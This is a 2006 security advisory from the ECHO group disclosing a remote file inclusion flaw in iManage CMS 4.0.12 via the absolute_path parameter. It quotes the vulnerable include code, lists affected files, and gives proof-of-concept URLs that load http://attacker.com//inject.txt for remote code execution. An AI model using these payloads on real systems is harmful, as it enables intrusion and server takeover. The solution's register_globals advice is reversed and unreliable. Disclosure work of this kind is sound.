ECHO.OR.ID
ECHO_ADV_40$2006
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[ECHO_ADV_40$2006] iManage CMS <= 4.0.12 (absolute_path) Remote File Inclusion
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Author : Ahmad Maulana a.k.a Matdhule
Date Found : July, 20th 2006
Location : Indonesia, Jakarta
web : http://advisories.echo.or.id/adv/adv40-matdhule-2006.txt
Critical Lvl : Highly critical
Impact : System access
Where : From Remote
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Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
iManage CMS from Imaginex-Resource
Application : iManage CMS
version : 4.0.12 stable
URL : http://www.imaginex-resource.com
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Vulnerability:
~~~~~~~~~~~~~~~~
-----------------------component.php----------------------
....
<?php
/**
* iManage Version 4.0.12
* Dynamic portal server and Content managment engine
* 03-02-2003
*
* Copyright (C) 2000 - 2003 Imaginex-Resource
*
* Site Name: iManage Version 4.0.12
* File Name: rightComponent.php
* Date: 31/01/2003
* Version #: 4.0.12
* Comments: Display all modules which are to be displayed on the right.
**/
include($absolute_path.'/language/'.$lang.'/lang_components.php');
...
----------------------------------------------------------
Input passed to the "absolute_path" parameter in insert.php is not
properly verified before being used. This can be exploited to execute
arbitrary PHP code by including files from local or external
resources
Affected files:
articles.php
contact.php
displaypage.php
faq.php
mainbody.php
news.php
registration.php
whosOnline.php
components/com_calendar.php
components/com_forum.php
components/minibb/index.php
components/minibb/bb_admin.php
components/minibb/bb_plugins.php
modules/mod_calendar.php
modules/mod_browser_prefs.php
modules/mod_counter.php
modules/mod_online.php
modules/mod_stats.php
modules/mod_weather.php
themes/bizz.php
themes/default.php
themes/simple.php
themes/original.php
themes/portal.php
themes/purple.php
and more :)
Successful exploitation requires that "register_globals= Off ".
Proof Of Concept:
~~~~~~~~~~~~~~~~~
http://target.com/[path]/articles.php?absolute_path=http://attacker.com/
/inject.txt?
http://target.com/[path]/contact.php?absolute_path=http://attacker.com//
inject.txt?
http://target.com/[path]/displaypage.php?absolute_path=http://attacker.c
om//inject.txt?
http://target.com/[path]/faq.php?absolute_path=http://attacker.com//inje
ct.txt?
http://target.com/[path]/mainbody.php?absolute_path=http://attacker.com/
/inject.txt?
http://target.com/[path]/news.php?absolute_path=http://attacker.com//inj
ect.txt?
http://target.com/[path]/registration.php?absolute_path=http://attacker.
com//inject.txt?
http://target.com/[path]/whosOnline.php?absolute_path=http://attacker.co
m//inject.txt?
http://target.com/[path]/components/com_calendar.php?absolute_path=http:
//attacker.com//inject.txt?
http://target.com/[path]/components/com_forum.php?absolute_path=http://a
ttacker.com//inject.txt?
http://target.com/[path]/components/minibb/index.php?absolute_path=http:
//attacker.com//inject.txt?
http://target.com/[path]/modules/mod_calendar.php?absolute_path=http://a
ttacker.com//inject.txt?
and more Affected files
Solution:
~~~~~~~~~
- Change register_globals= On
in php.ini
- Sanitize variable $absolute_path on affected files.
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Shoutz:
~~~~~
~ solpot a.k.a chris, J4mbi H4ck3r for the hacking lesson :)
~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,anonymous
~ bius, lapets, ghoz, t4mbun_hacker, NpR, h4ntu, thama
~ newbie_hacker (at) yahoogroups (dot) com [email concealed], jasakom_perjuangan (at) yahoogroups (dot) com [email concealed]
~ #mardongan #jambihackerlink #e-c-h-o @irc.dal.net
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Contact:
~~~~~~
matdhule[at]gmail[dot]com
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